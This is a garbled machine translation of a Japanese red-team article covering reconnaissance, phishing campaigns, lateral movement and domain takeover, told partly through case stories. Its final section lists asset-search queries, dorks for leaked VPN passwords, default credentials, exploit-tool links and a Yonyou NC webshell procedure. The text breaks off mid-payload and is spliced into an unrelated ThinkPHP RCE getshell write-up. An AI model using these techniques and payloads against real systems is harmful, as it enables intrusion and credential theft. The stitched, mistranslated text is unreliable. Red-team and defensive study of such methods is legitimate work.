赤チームの攻撃は素晴らしい衝突ではなく、科学的で合理的な戦闘プロセスです。一般的に、レッドチームの作業は、インテリジェンスコレクション、拠点の構築、水平に移動するという3つの段階に分けることができます。また、これらの3つの段階をレッドチームの仕事の「3つのトリック」と呼びます。

1。ステージ1:インテリジェンスコレクション

赤チームの専門家がターゲットタスクを受け取る場合、侵入テストのようなデータを収集した後、さまざまな共通の脆弱性を直接試みることはありませんが、最初にインテリジェンス偵察と情報収集を行います。収集されたコンテンツには、組織構造、ITアセット、機密情報の漏れ、サプライヤー情報、その他の側面が含まれます。組織構造には、単位および部門部門、人事情報、作業機能、下位ユニットなどが含まれます。資産には、ドメイン名、IPアドレス、Cセグメント、オープンポート、オペレーションサービス、Webミドルウェア、Webアプリケーション、モバイルアプリケーション、ネットワークアーキテクチャなどが含まれます。機密情報の漏れには、コード漏れ、ドキュメント情報の漏れ、電子メール情報の漏れ、歴史的脆弱性漏れ情報などが含まれます。サプライヤー情報には、関連する契約、システム、ソフトウェア、ハードウェア、コード、サービス、人員、その他の関連情報が含まれます。

関連する人事情報とターゲットエンタープライズの組織構造を習得することにより、harpoon攻撃を実装するために重要な数字をすばやく見つけたり、イントラネットの水平および垂直貫通パスを決定したりできます。また、資産情報を収集することにより、脆弱性の発見と利用に関するデータサポートを提供できます。企業とサプライヤーの協力の関連情報を習得すると、ターゲットを絞ったサプライチェーン攻撃に資料を提供できます。ソーシャルワーカーをフィッシュするか、脆弱性攻撃を直接活用するか、サプライチェーンから開始するかは、一般に、セキュリティ保護の弱いリンクとレッドチームの攻撃パスの選択に依存します。

2。第2段階:拠点を確立します

弱いリンクを見つけた後、レッドチームの専門家は、一般に「修理ポイント」または引き裂き穴と呼ばれる外部ネットワークシステムの制御権限を取得するために抜け穴またはソーシャルワーカーを使用しようとします。このプロセスでは、REDチームの専門家は、WAF、IPS、Antivirusソフトウェアなどの保護具またはソフトウェアをバイパスし、最小トラフィックと最小アクションを使用して脆弱性の搾取を達成しようとします。

引き裂き穴を通して、イントラネットに接続されたチャネルとさらなる浸透を見つけます。外側から内側へのこのプロセスは、一般に縦方向の浸透と呼ばれます。内側と外側に接続されたDMZエリア(非武装ゾーン)が見つからない場合、レッドチームの専門家は、イントラネットに接続されたポイントが見つかるまで穴を引き裂き続けます。

赤チームの専門家が適切な穴を見つけると、外部ネットワークからイントラネットに入るためのベースとしてこのポイントを使用できます。この時点で、この時点でFRP、Ewsocks、Regeorgなどのツールを通じて確立され、外部ネットワークから内部ネットワークへのスプリングボードを形成し、イントラネット浸透を実装するための強固な基盤として使用します。

許可が踏み台を確立するのに十分でない場合、レッドチームの専門家は通常、システム、プログラム、またはサービスの脆弱性を使用して、権限の運用を増やしてより高い権限を取得します。ベースが安定していないPCである場合、PCが再起動した後もベースがオンラインであることを確認するために、永続的な操作を実行します。

3。 3番目の段階:水平ムーブメント

イントラネットに入った後、レッドチームの専門家は通常、ローカルマシンと内部ネットワークでさらなる情報収集とインテリジェンススパイを実行します。現在のコンピューターのネットワーク接続、プロセスリスト、コマンド実行履歴、データベース情報、現在のユーザー情報、管理者ログイン情報、サマリーパスワードルール、パッチ更新頻度、その他の情報を収集するなど。同時に、IP、ホスト名、オープンポート、オープンサービス、オープンアプリケーションなど、イントラネット上のサーバーのインテリジェンススパイを指揮します。次に、イントラネットコンピューターとサーバーを使用して、時間内に脆弱性を修復できず、セキュリティ保護と同じパスワードを提供して、水平浸透の結果を拡張します。

ドメインを含むイントラネットの場合、Redチームの専門家は、結果を拡大しながら、ドメイン管理者のログインに関する手がかりを探します。サーバーにドメイン管理者がログインしていることがわかったら、Mimikatzなどのツールを使用して、ログインアカウントパスワードのクリアテキスト、またはNTLMハッシュをエクスポートするハッシュダンプツールを取得し、ドメイン制御サーバーの浸透制御を実現できます。

イントラネットローミングプロセス中、REDチームの専門家は、メールサーバーの許可、OAシステムの許可、バージョン制御サーバーの許可、集中操作およびメンテナンス管理プラットフォームの許可、統一された認証システム許可、ドメイン制御権限などに焦点を当てます。

0x03赤チームにはルーチンもあります - 一般的に使用される攻撃戦術

レッドチームの実際の戦闘中に、レッドチームの専門家は徐々にいくつかのルーチンを開発し、いくつかの経験を要約しました。システムの脆弱性が見つからない場合、彼らは釣りをして人々から突破口を作ろうとします。セキュリティ保護機器がある場合、彼らはスキャナーをできるだけ使用しないか、使用しないようにし、Expを使用して1回のストライクでターゲットを打つよう努力します。ブルーチームのタイトな防衛システムの場合、彼らは子会社またはサプライチェーンから作業を実行しようとします。拠点を確立する過程で、複数の手段を使用して、問題が発生する前に問題を防ぐために複数のポイントで潜んでいます。

以下は、レッドチームで最も一般的に使用される攻撃戦術の4つです。

1。弱いパスワードを使用してアクセス許可を取得します

弱いパスワード、デフォルトのパスワード、ユニバーサルパスワード、リークされたパスワードは、通常、赤チームの専門家の焦点です。実際の作業では、脆弱なパスワードを介してアクセス許可を取得したケースの90%以上が説明しています。

企業の多くの従業員は、Zhangsan、Zhangsan001、Zhangsan123、Zhangsan888またはその単純な変形などのアカウントのピニインを使用しています。これにより、情報が収集された後、電子メール、OA、その他のアカウントをキャプチャできる列挙のために、単純なパスワード辞書が生成されるという事実につながります。

また、複数の異なるWebサイトで同じパスワードを設定するのが好きな多くの従業員もいます。パスワードは長い間漏れてソーシャルワークライブラリに入力されています。または、SSO検証を有効にしないイントラネットビジネスシステムに、同じ一連のアカウントパスワードを使用することに慣れています。これにより、特定のチャネルからアカウントパスワードを取得した後、資格情報の再利用を通じてこの従業員が使用する他のビジネスシステムに簡単にログインし、新しい攻撃面を開くための利便性を提供できるという事実につながります。

多くの一般的なシステムは、インストール後にデフォルトの管理パスワードを設定しますが、一部の管理者はパスワードを変更したことがありません。 Admin/Admin、Test/123456、Admin/Admin888などのパスワードは、内部および外部ネットワークシステムのバックエンドシステムに広く存在します。バックエンドシステムに入ると、サーバー制御権限を取得する可能性が非常に高くなります。同様に、多くの管理者は同じパスワードのセットを使用して、管理の利便性のために異なるサーバーを管理します。サーバーがキャプチャされ、パスワードが盗まれると、複数のサーバーに拡張され、ドメインコントローラーが落ちるリスクさえも拡張できます。

2。ソーシャルワーカーを使用して、イントラネット

に入ります

コンピューターは「決して」間違いを犯します。ロジックは、プログラムを書くときに実行されます。あるコンピューターでの実行方法は、別のコンピューターでも同じことが言えます。しかし、人々はさまざまな間違いを犯します。同じ従業員は、異なる状況で同じことで異なる間違いを犯す可能性があり、異なる従業員も同じ状況で異なる間違いを犯す可能性があります。多くの場合、人気のあるチームの専門家がシステムを構築するのが難しいと感じるとき、彼らは通常、「人々を魅了する」(ソーシャルワーカー、釣りなど)に考えを変えます。

多くの従業員は、受け取ったトロイの木馬やフィッシングメールを認識していません。 Redチームの専門家は、ターゲット従業員の電子メール許可を取得し、このメールを通じてフィッシングメールを送信できます。ほとんどの従業員は、内部の従業員からの電子メールを信頼するため、フィッシングメールに閉じ込められた悪意のある添付ファイルを簡単にクリックします。従業員のパーソナルコンピューターが落ちたら、レッドチームの専門家は従業員のPCをスプリングボードとして使用して水平方向のイントラネット浸透を実装し、ターゲットシステムまたは他のシステムを攻撃したり、ドメインコントローラーを攻撃してイントラネットを攻撃したりできます。

もちろん、ソーシャルワーカーは電子メールの使用に限定されませんが、カスタマーサービスシステム、チャットソフトウェア、電話などを通じて良い結果を達成することがあります。たとえば、古典的なハッカー「Xiaomu」が大規模なインターネット会社に侵入しました。カスタマーサービスシステムは、実行できないクライアントソフトウェアに問題があることを報告し、その後、トロイの木馬ファイルをカスタマーサービスに送信しました。最後に、トロイの木馬は、それが開始された後、会社のコアシステムをうまく制御しました。これは古典的なケースです。時には、ハッカーは、法律スタッフに弁護士の手紙を送る、履歴書を人事職員に送る、調達ニーズを販売スタッフに送るなど、状況を開くためにセキュリティについてあまり知らない会社の従業員を使用する場合があります。

関連する従業員コンピューターが制御されると、情報収集をさらに実装できます。たとえば、毎日のコンピューター操作の便利さのために、ほとんどの従業員は、デスクトップにシステムアドレスとアカウントのパスワードを含むドキュメントを保存します。さらに、ほとんどの従業員は、ブラウザのパスワード記憶機能を使用することにも慣れています。ブラウザのパスワード記憶機能は、暗号化のためにシステムのAPIに依存しており、保存されたパスワードは可逆的です。保存されたパスワードをエクスポートした後、REDチームは制御されたマシンにスプリングボードを作成し、制御された従業員のIP、アカウント、およびパスワードでログインできます。これほど便利なものはありません。

3。バイパス攻撃を使用して浸潤

ブルーチームディフェンスを備えたレッドチームの仕事では、本社のウェブサイトがより厳しく防御されることがあり、レッドチームの専門家がハードスチールに立ち向かい、イントラネットのドアをこじ開けることは困難です。この場合、レッドチームは通常、都市の門を攻撃しませんが、あらゆる手段を試して「下水道」を見つけたり、トンネルを掘って回り道で攻撃したりします。

Redチームの実際の戦闘中に、企業の子会社の大多数と従属企業とグループ本部の間の内部ネットワークは、効果的に隔離されていないことがわかりました。多くの省庁、委員会、ユニット、大規模な中央企業は、地域間のイントラネットを接続するために個別の専用ネットワークを使用することに慣れていますが、同時に、そのようなイントラネットのセキュリティ構築を無視し、十分な効果的なネットワークアクセス制御を欠いています。その結果、子会社と支店が破られると、レッドチームはイントラネットの水平侵入を介してグループ本部を直接攻撃し、イントラネット全体を歩き、システムを攻撃できます。

たとえば、子会社Aは深Shenzhenにあり、子会社Bは広州にあり、その本部は北京にあります。子会社Aまたは子会社Bが破られると、障害なしに本社ネットワークに入ることができます。別のケースでは、子会社とBは北京に本社を置くビジネスシステムにアクセスするだけで、AとBはビジネス取引をする必要はありません。理論的には、AとB間のネットワークアクセスを制限する必要があります。しかし、現実には、専用のイントラネットが国のすべての地域につながり、1つの秋がどこにでも落ちる可能性があります。

さらに、ほとんどの企業は、VPNシステム、仮想化されたデスクトップシステム、メールサービスシステムなど、インターネットに開放されている境界デバイスを信頼しています。そのようなデバイスは通常、イントラネットで重要なサービスにアクセスすることを考慮して、従業員の通常の使用に影響を避けるために、企業は送信チャネルにより多くの保護方法を追加しません。さらに、このようなシステムは統合ログインを統合します。従業員のアカウントパスワードが取得されると、境界を突破し、これらのシステムを介してイントラネットを直接入力できます。

たとえば、イントラネットの境界に開かれたメールサービスは通常、監査がなく、多要因認証を使用しません。従業員は通常、サーバーアカウントのパスワード、主要な人事アドレス帳など、電子メールを介してイントラネットに関する大量の機密情報を送信します。従業員アカウントのパスワードを習得すると、電子メールで取得した情報は、作業の次のステップに多くの利便性を提供します。

iv。秘密の浸透と複数の潜んでいる

レッドチームの仕事は一般に、大規模な脆弱性スキャナーを使用しません。現在、主流のWAF、IPS、およびその他の保護装置は、脆弱性スキャナーを特定する機能を備えています。発見されると、アラームがトリガーされるか、IPができるだけ早くブロックされる場合があります。したがって、情報収集とインテリジェンススパイは、レッドチームの仕事の基礎です。データの蓄積に基づいて、特定のシステム、特定のプラットフォーム、特定のアプリケーション、および特定のバージョンに基づいて対応する脆弱性を見つけることを目的としており、1回のストライクでターゲットを打つという目標を達成できる攻撃操作を実装するために保護装置をバイパスできるExpを書き込みます。

多くの既存のセキュリティデバイスは、基本的に、独自の欠陥やセキュリティ保護機能が弱いため、攻撃を迅速かつ効果的に検出およびブロックする能力を持っていません。その結果、システムが侵略されたとしても、攻撃されたユニットは、Redチームがターゲットデータとデータを取得した後、まだ侵略を感じていません。さらに、セキュリティ担当者の技術的能力が弱いため、攻撃行動を発見して特定することはできず、効果的な攻撃ブロッキング、脆弱性の追跡、システム修復戦略を提供することはできません。

仕事では、レッドチームの専門家は通常、侵入作業を実施するために1つの拠点に立つだけでなく、異なるプロトコルを使用して異なる特性を持つ拠点を確立するために異なるウェブシェルとバックドアを採用します。ほとんどの緊急対応プロセスは、攻撃の原因を追跡できず、完全な攻撃パスを分析したり、リンケージ防御を欠いたりすることができないためです。ブルーチームが保護装置に警告すると、ブルーチームのほとんどはアラームデバイスのアラームIPの対応するサーバーのみを扱い、攻撃チェーンの並べ替えを無視して、アラーム処理にもかかわらず、イントラネットからレッドチームを除外できなくなり、レッドチームの拠点はすぐに「Rekind」を「一部の青いチームメンバーがプロフェッショナルではなく、Windowsサーバーの緊急操作やメンテナンスなどのセキュリティ認識がない場合、リモートデスクトップ共有を介してディスクをアラームサーバーに直接取り付けることができます。

0x04赤チームの36の戦略 - クラシック攻撃の例

古代人は、軍隊を戦わせるための36の戦略について話しました。また、赤チームの実際の戦闘も攻撃的で防御的な対立のプロセスです。それはまた、人々の間の戦いであり、提案と知恵と勇気を必要とします。このプロセスでは、「陰謀」と「陰謀」があり、勇気があり、将来を見据えています。この目的のために、私たちはいくつかの小さなケースを選択し、レッドチームの一般的な攻撃方法を36のタイトルで見せました。

1。問題のある海での釣り - ソーシャルワーカーの釣りのブレークスルーシステム

ソーシャルエンジニアリング(社会労働者)は、レッドチームの仕事の半分を占めており、釣り攻撃はソーシャルワーカーの間で最も一般的に使用されるルーチンです。フィッシング攻撃には、通常、ある程度の隠蔽と欺ceptiveningがあります。ネットワークテクノロジー機能を持っていない人は、通常、コンテンツの信頼性を区別することはできません。特定のターゲットとグループのために慎重に構築された槍フィッシング攻撃は、特定のネットワークテクノロジー機能を持つ人々を防御するのが難しくなり、浸透ツールと呼ばれることがあります。

Xiao Dチームは、そのような作業目標を受け取りました。特定の企業の金融システムです。早期のスカウティングと情報収集により、ターゲットエンタープライズの外部ネットワークにはオープンなシステムが非常に少なく、悪用可能な抜け穴がなかったため、管理を通じてイントラネットに入ることは困難でした。

しかし、彼らはまだ、オンライン検索といくつかのオープンソーシャルソーシャルワークデータベースを通じて、ターゲット企業からのスタッフメールのグループを収集するように依頼しました。このメーリングリストのバッチを習得した後、Xiao Dは、リークされたパスワードルール、123456や888888などの一般的な弱いパスワード、同じユーザー名とパスワード、またはユーザー名123などの弱いパスワードに基づいて、弱いパスワード辞書を生成しました。

Xiao Dは、従業員からのメールを分析し、電子メールユーザーがITテクノロジー部門の従業員であることを発見しました。メールアドレスボックスをチェックして、次のように歴史の中で彼から送信された電子メールをご覧ください。

タイトル:従業員がポート445とポート3389をオフにするという運用プロセスについて

添付ファイル:操作process.zip

Xiao Dは、このメールに基づいて状況を利用して変革し、偽装することにしました。フィッシングメールは次のとおりです。その中で、zipファイルはトロイの木馬を備えた圧縮ファイルです。

タイトル:ポート445とポート3389の電源を切る従業員の運営の補足

添付ファイル:補足操作process.zip

攻撃の成功率を改善するために、ターゲット企業の従業員の分析を通じて、Xiao Dは金融部門といくつかの財務関連部門に電子メールを送信することを決定しました。

Xiao Dは大量の電子メールを送信し、会社の数人の従業員がオンラインになるように欺かれ、添付ファイルを開きました。より多くのホストを制御し、より多くのメールボックスを制御します。フィッシングメールの作成中、Xiao Dは、ターゲットの役割と特性に従って柔軟に構築します。たとえば、電子メールをチェックするプロセス中に、次のメールが見つかります。

親愛なるリーダーと同僚、フィッシングメールインシデントを見つけた場合、それは19626年の事件として内部的に定義されます。電子メールattachment.exe、batなどの接尾辞に注意してください。

Xiao Dはまた、上記のメールを利用し、上記のメールを親として使用し、次のメールを使用してフィッシングを継続する戦略を採用しました。

親愛なるリーダーと同僚、私は最近、多数のフィッシングメールを発見しました。以下は検出手順です.

添付ファイル:検出プログラム

より多くの電子メール許可とシステムの許可を常に取得し、ターゲットの役割に基づいてフィッシングメールを設計することにより、Xiao Dは最終的にターゲットを獲得しました。

2。東をプレイして西に攻撃する - トラフィックを混乱させ、偵察を避ける

ブルーチーム(防衛パーティー)が関与する実際の攻撃および防御作業では、特にブルーチームのランキングまたは通知メカニズムで、レッドチームとブルーチームは通常対立します。 IPブロッキングとバイパス、WAFの傍受とバイパス、ウェブシェルの検出と免除、および火薬のない戦争は通常、赤と青の間で発売されます。

Xiao Yと彼が率いるチームは今回遭遇しました。彼が作成したばかりの踏み台は数時間以内にブロックされました。アップロードされたばかりのウェブシェルは、数時間以内に調査され殺害されました。レッドチームがプレーするところはどこでも、青いチームは交通の脅威に従って続きます。彼らは決してそれに飽きることはなく、チームは常にターゲットの周りで回転します。

維持する拠点がなければ、イントラネットのブレークスルーをさらに実施する方法はありません。 Xiao Yと彼のチームは、ブレーンストーミングを実施し、交通脅威監査の自然な弱点、およびBlueチームの人員と技術的能力の可能性を要約して分析し、東と西にヒットする一連の攻撃計画を策定しました。

特定の方法は、直接アクセスの脆弱性を持つ複数のシステムを同時に見つけ、正面に大きなトラフィックを備えた特定のシステムを攻撃し、火力を引き付け、側面のトラフィックを最小限に抑えて、権限を直接取得し、イントラネットをすばやく突破します。

この目的のために、Xiao Yのチームは、最初に情報収集を通じてターゲット企業の外国ネットワークWebアプリケーションを発見し、コード監査を通じて脆弱性マイニングを実行し、複数の深刻な脆弱性をうまく発見しました。さらに、会社のマーケティングウェブサイトが、ブラックボックステストを通じてファイルアップロードの脆弱性を備えていることがわかったことが発見されました。

Xiao Yは、チームを2つのグループに分割しました。彼自身を除く他のすべてのメンバーは、マーケティングウェブサイトに焦点を合わせ、さまざまなセクションに分かれた多くのスプリングボードを準備しました。彼は、彼らが発見されたのか、それとも彼らがブロックされたのかは気にしませんでした。彼は脆弱性スキャナーを装着し、交通脅威分析システムに巨大な「分散型サービス拒否」を可能にするよう努め、ブルーチームの防衛要員が分析と応答の忙しさを残しました。彼は静かにさまざまなIPSとブラウザの指紋機能を使用してWebアプリケーションのWebサイトに侵入し、最小トラフィックを使用してサーバーを取得するよう努めているため、脅威データがマーケティングWebサイトの攻撃洪水に浸されました。

このような攻撃計画を通じて、Xiao YのチームはマーケティングWebサイトとWebアプリケーションWebサイトを同時に獲得しましたが、ソフトウェアの殺害、電源の上昇、バックドアプログラムの配置、イントラネットスキャンのバッチを含む、マーケティングWebサイトでより多くのアクションがありました。同時に、WebアプリケーションのWebサイトは、マーケティングWebサイトで取得したイントラネット情報を使用して、ベースを直接確立し、イントラネット浸透操作を実行します。

すぐにマーケティングのウェブサイトがブルーパーティーから削除され、ブルーチームは交通に基づいて分析、トレーサビリティ、強化を実施し始めました。この時点で、Xiao YはすでにWebアプリケーションのWebサイトにFRP Socksエージェントを構築しており、イントラネットは複数のプロトコルトロイの木馬を使用して複数のサーバーを水平に浸透させて取得し、複数のチャネルをバックアップして、防御が発見または直接キックされるのを防ぐために、容量を安定させました。サーバーの許可は、数日連続で失われませんでした。継続した後、ドメイン管理者とドメインコントローラーに浸透し、最後にターゲットアクセス許可や産業制御機器の権限などのコアターゲットシステムが取得されました。

侵入の終わりに、Xiao Yのチームは、ターゲットエンタープライズセキュリティ情報センターの従業員の電子メールを見て、ブルーチームがマーケティングウェブサイトによって生成されたデータアラームの防御結果を分析および報告していることを確認しました。ただし、現時点では、同社のターゲットシステムはすでにRedチームによって削除されていました。

3。 Li Dai Tao Zombie-ターゲットを解決するために攻撃をバイパス

実際、レッドチームの仕事中に、私は多くの奇妙なことに遭遇しました。たとえば、ブルーチームはウェブサイト全体のホームページをスクリーンショットに置き換えました。一部のデータ送信インターフェイスを閉じてから、Excelテーブルを使用してデータのインポートを実装しました。イントラネットターゲットシステムのIPを制限し、特定の管理者のIPのみがアクセスできるようにしました。

Xiao Hが率いるRedチームは同様のチームに遭遇しました。ターゲット企業はすべての外部ネットワークシステムをオフにし、メールシステムの戦略を作成し、基本的にポイントを管理してイントラネットに入る方法もありませんでした。

この目的のために、十分な情報を収集した後、Xiao Hチームは「Li Dai Taozhuan」戦略を採用することを決定しました。親会社はそれを許可していないため、子会社の構築に進みます。しかし、作業プロセス中に、子会社も適切な保護を受けており、基本的にすべてを閉鎖していることがわかりました。あなたがそれをしなければ、あなたは決して止まらないでしょう。子会社にそれを許可しない場合は、子会社とその子会社の子会社を構築します。

そのため、Xiao Hチームは孫の会社から始まり、SQL Injection + Commandの実行脆弱性を使用して(Summit Company A)DMZエリアに正常に入りました。継続的な浸透とイントラネットの水平ムーブメントは、孫のドメイン制御とDMZサーバーを制御します。 (スポンサーA)が権限を確立した後、最終的なターゲットイントラネット情報と子会社情報を収集しようとしますが、ターゲットシステム情報は見つかりませんでした。しかし、(スポンサー付きの会社A)を接続できることがわかった(子会社B)。

Xiao Hは(スポンサー付き会社A)を使用して(子会社B)攻撃を開始することを決定しました。 Tomcatの弱いパスワードを使用して脆弱性をアップロードして(子会社b)内部ドメインを入力し、サーバーによってエクスポートされたパスワードを使用して内部イントラネットに水平に浸透し、複数のドメインサーバーを取得し(補助B)複数のドメインサーバーを取得し、ウイルス対策サーバーのドメイン管理者の受信パスワードを取得し、最終的に(子会社B)ドメインコントローラーInsionisionsionsを取得します。

(子会社B)では、(ターゲットシステムX)が(子会社C)でホストされていることがわかりました(子会社C)、(子会社C)は運用とメンテナンスのみを担当し、7人の従業員が(副システムX)とビジネス取引をしています(子会社B)。 7人の従業員はほとんどの場合(子会社c)で働いていますが、オフィスコンピューター資産は(子会社b)に属し、(子会社b)に参加し、オフィスコンピューターはしばしば持ち帰られます(子会社b)。

収集されたインテリジェンス情報によると、Xiao Hチームは(子会社B)の従業員7人を使用して、ドメインアクセス許可を使用して、(子会社B)イントラネットにアクセスしたときにコンピューターにトロイの木馬バックドアを植えるためのエントリポイントを使用しています。 (子会社C)イントラネットに接続されている場合、従業員コンピューターを介してイントラネットの浸透を実装し、(子会社C)ドメイン制御権限を取得し続けます。ログ分析によれば、(ターゲットシステムx)管理者コンピューターがロックされ、(ターゲットシステムx)管理者ログインアカウントが取得され、最後に(ターゲットシステムx)制御許可が取得されます。

4。手をつないで - スタッドの制御を実装

REDチームは、侵入テストなどのワークフローまたは脆弱性テストマニュアルに基づいて仕様に従ってタスクを完了することはありません。レッドチームの仕事は、常にランダムで、挑戦的で対立的です。作業プロセス中、常にさまざまな予期しない状況があります。変更に適応し、さまざまな機会を最大限に活用することによってのみ、ついに目標を突破してタスクを完了することができます。これは、Xiao Pが今回したことです。

その後、Xiao Pチームは、ターゲットエンタープライズのOAシステムの0日間の脆弱性をマイニングすることにより、Webシェル許可を取得しました。しかし、彼がしっかりと立つ前に、ブルーチームの管理者は、OAシステムに異常があることを発見し、OAシステムアプリケーションとデータベースサーバーを移行し、脆弱性を修正しました。

もともとは非常に悲しいことでしたが、Xiao Pのテストでは、青いチームがOAシステムを移行し、脆弱性を修正しましたが、すべてのWebShellバックドアスクリプトを削除しなかったことがわかりました。一部のバックドアスクリプトはまだOAプログラムで混合されており、新しいサーバーで再配置されています。攻撃チームは、以前に埋め込まれたウェブシェルに接続し、権利を正常に撤回し、サーバーの権限を取得することができます。

サーバーのアクセス許可を取得した後、Xiao Pのチームは、ブルーチームの管理者が実際に管理操作のためにOAサーバーに接続されていることを発見し、端末PCホストのすべてのディスクをOAサーバーに取り付けました。 「あなたが来てから、あなたは安心します。」 Xiao Pは、これが維持する良い機会であることを発見しました。

Xiao Pチームは、管理者の身元とリモートターミナルディスクファイルを慎重に確認し、管理者の端末ディスクに自発的なバックドアプログラムを書きました。 1日待った後、ブルーチームの管理者は実際にターミナルホストを再開し、バックドアプログラムはオンラインになりました。管理者の端末許可を取得した後、Xiao Pはすぐに、管理者が主に内部ネットワークの展開、サーバー運用、メンテナンス管理などを担当するユニットの運用およびメンテナンス担当者であることを発見しました。管理者はMyBaseツールを使用して重要なサーバー情報を暗号化および保存しました。攻撃チームは、キーボードレコーダーを介してMyBaseマスターキーを取得し、MyBaseデータファイルを復号化し、最終的にVPN、Bastion Machines、仮想化管理プラットフォームなどを含むキーシステムのアカウントとパスワードを取得しました。

最後に、Xiao Pのチームは、取得したアカウントパスワードを使用して仮想化プラットフォームにログインし、エクササイズターゲットシステムの仮想ホストを見つけ、取得した管理者の権限を正常にしました。この時点で、作業は正式に完了しました!

5。密かにチェンキャンズを横切る - 迂回浸潤でブレークスルーを作る

明確な重要な目標を備えた実際の攻撃的および防御的な演習で、ブルーチームは通常、戦いを警備し、警告し、常に外部ネットワークからのすべてのトラフィックに目を向けています。あなたが攻撃するかどうかにかかわらず、彼らは常にそこに固執します。疑わしいIPSが見つかった場合、すぐにセクションでブロックし、チャンスを離れません。現時点では、前から戦うことは明らかに費用対効果が高くありません。レッドチームは通常、密かにチェンキャンズを追跡する方法を使用して、ブルーチームの防御ラインをバイパスし、防衛なしで他の場所からラウンドアバウト攻撃を開始します。 Xiao Mは今回そのような硬い骨に遭遇しました。

攻撃のターゲットを決定した後、Xiao Mチームはドメイン名、IPセグメント、ポート、ビジネス、およびターゲット企業のその他の情報を収集し、脆弱性の可能性に対する攻撃の試みを実施しました。ほとんどのターゲットが閉鎖されているか、高強度保護装置を使用していることが判明しました。 0日と時間が限られていないため、Xiao Mは前向きなブレークスルーを放棄し、秘密戦略を採用することにしました。

Tianyan Check Webサイトを通じて、Xiao Mは、会社全体の子会社と関連ビジネスの配布について学びました。ターゲットビジネスは、香港、台湾、韓国、フランス、その他の場所をカバーしています。その中で、香港には比較的多くのビジネスがあり、データを互いに送信してコラボレーションで機能するイントラネットがある可能性が非常に高いため、香港から入り口として選択することにしました。

香港事業で一連の偵察とスパイの後、Xiao Mのチームは、ターゲット企業の香港ホテルビジネスウェブサイトにSA許可インジェクションポイントを見つけ、バックエンドにログインし、あらゆるファイルで正常にアップロードしました。データベースSA Formessionsを介してデータベースサーバーシステムのアクセス許可を取得し、データベースサーバーがドメインにあり、ドメインマネージャーがログイン状態にあることを確認します。サーバーにSymantecが装備されているため、証明書が追加され、ドメインハッシュとドメイン構造が正常にバイパスされ、ドメインがキャプチャされます。

国内ドメインのマシンは輸出ドメイン構造で発見されたため、Xiao Mチームは香港ドメインからターゲットが位置する国内ドメインに水平浸透を実行しようとし始めました。国内ドメインのIPセグメントでサーバーを見つけて、当局を提起した後、このサーバーのパスワードをつかみます。キャプチャされたパスワードを使用して、他のサーバーにログインし、ウイルス対策サーバーへのログインに正常にログインし、ウイルス対策サーバー上の国内ドメインのドメイン管理パスワードを正常にキャプチャします。ドメイン管理アカウントを使用して、要塞マシン、運用およびメンテナンス管理、VPNなどの複数の重要なシステムを正常に制御します。

大量の情報収集により、Xiao Mのチームは最終的に侵入ターゲットのIPアドレスを取得し、初期段階で収集されたアカウントパスワードを使用してターゲットシステムに正常にログインし、ファイルアップロード脆弱性を使用してサーバー許可を取得しました。

この時点で、浸透作業全体が終了しました。

0x 05赤チームの目の防御的な弱点

政府、中央企業、銀行、証券による

0x01外部ウェブサイトサービス

資産発見

マルチサービングおよびマッピングプラットフォーム検索3https://hunter.qianxin.com/

https://fofa.info/

https://Quake.360.cn/

image_X8BSXnkylx.png

image_ctJSWbXB6F.png

ターゲットサイトがxxxx.comの場合、多文字の検索は、さまざまな構文を介して資産を収集でき、収集された資産がより包括的になります。

ここでの例としてFOFAを取ります

domain='xxxx.com'

host='xxxx.com'

header='xxxx.com'

cert='xxxx.com'

機密情報漏れ

学校サイトの情報収集については、一般的に言えば、外部ネットワークから取得できるポイントはほとんどありません。ほとんどのWebアプリケーションはVPNの背後に配置されているため、VPNアカウントを取得するための努力の半分で結果の2倍になると言えます。この時点で、この情報は構文を介してマイニングできます。

一般的に使用されるコマンドは次のとおりです。

#Google構文

site:*.edu.cn intext: vpn |ユーザー名|パスワード|アカウント|デフォルトのパスワード

#github

*.edu.cnパスワード

image_22dBsSWKAO.png

この攻撃と防御のドリルの間、私は特定のサイトのVPNのデフォルトのパスワードを見つけることができて幸運でした。

image_i-KtUIqFmy.png

デフォルトのパスワード

一部のサイトでは、建設が完了した後、デフォルトのアカウントパスワードが変更されない場合があります。現時点では、デフォルトのアカウントパスワードを使用してログインすることができます。

Webサイトの一般的なデフォルトパスワードを次に示します

アカウント:

管理者管理者ルートユーザーテスト

パスワード:

Admin Admin123 123456 123テストルート

広く使用されているシステムの場合、Google Syntaxを介してデフォルトのパスワードを検索できます

image_ejxlTxW5Av.png

ここでは、Sysadmin/1を介してFanweiバックエンドに正常にログインします

t1sb-w5grl_9Xl3mB_bqn.png

NACOS/NACOS

image-20220723225803735.png

一般的なエクスプロイト

マルチターゲットの攻撃的および防御的なドリルについては、個人がターゲットサブドメインURLを収集するよりも優れています。

ブレークスルーの指紋認識結果から重要な資産を除外し、既知の脆弱性または1日を攻撃するために使用します

ここにいくつかのバッチエクスプロイトツールがあります:

https://github.com/anonymous-ghost/attackwebframeworktools-5.0

https://github.com/d3ckx1/fvuln

https://github.com/w01fh4cker/serein

log4j、shiro、struts2などのフレームワーククラス。

Zhiyuan、Fanwei、Ufida、Lan LingなどのOAカテゴリも、発見したターゲットUfida NCサイトでもあります。

ujiunic ncはシェルを書き込みます

56xk-0ba58_-A3uKrDLZX.png

インターフェイス/servlet/~ic/bsh.servlet.bshservletにアクセスして、コマンドを実行します

d5lhwsk0r8_WfpuDtbLpm.png

DNSLOGを検出した後、ネットワークから見つからないことがわかりました。ここでウェブシェルに直接書かれています。

1.最初にゴジラJSPトロイの木馬を生成し、次にUnicodeエンコードを実行します。

image_796oyMMBO3.png

2。その後、出力結果をエンコードするURL

image_zZUpiKMWn1.png

3.ペイロードフィールドは次のとおりです。ここに記載されているデフォルトのパスは、WebApps/NC_WEBで、実際の戦闘で柔軟に対応できます。

文字列キーワード=urldecoder.decode( '

0x00はじめに

以前にTP5と接触していたサイトが少なかったので、RCEの脆弱性のゲッシェルを使用する方法しか知っていませんでした。 PHPバージョンの制限により、カード発行プラットフォームの最近の普及では、RCEのペイロードを使用してシェルを直接取得することは不可能です。そのため、Webサイトと組み合わせて、TP5+PHP7.1環境でできるだけ多くのGetShellメソッドをテストします。

0x02テキスト

サイトを入手したら、次のようにホームページにアクセスしてください1049983-20220112164153129-412690556.png

テスト中、それがThinkPHPサイトであることがわかりました、そして、エラーは次のように1049983-20220112164153599-89312026.pngのように報告されました

しかし、特定のバージョンが表示されないので、RCEがあるかどうかはわかりませんので、EXPで試してみます

_method=__ constructmethod=getFilter=call_user_funcget []=phpinfo

1049983-20220112164154048-133690590.png

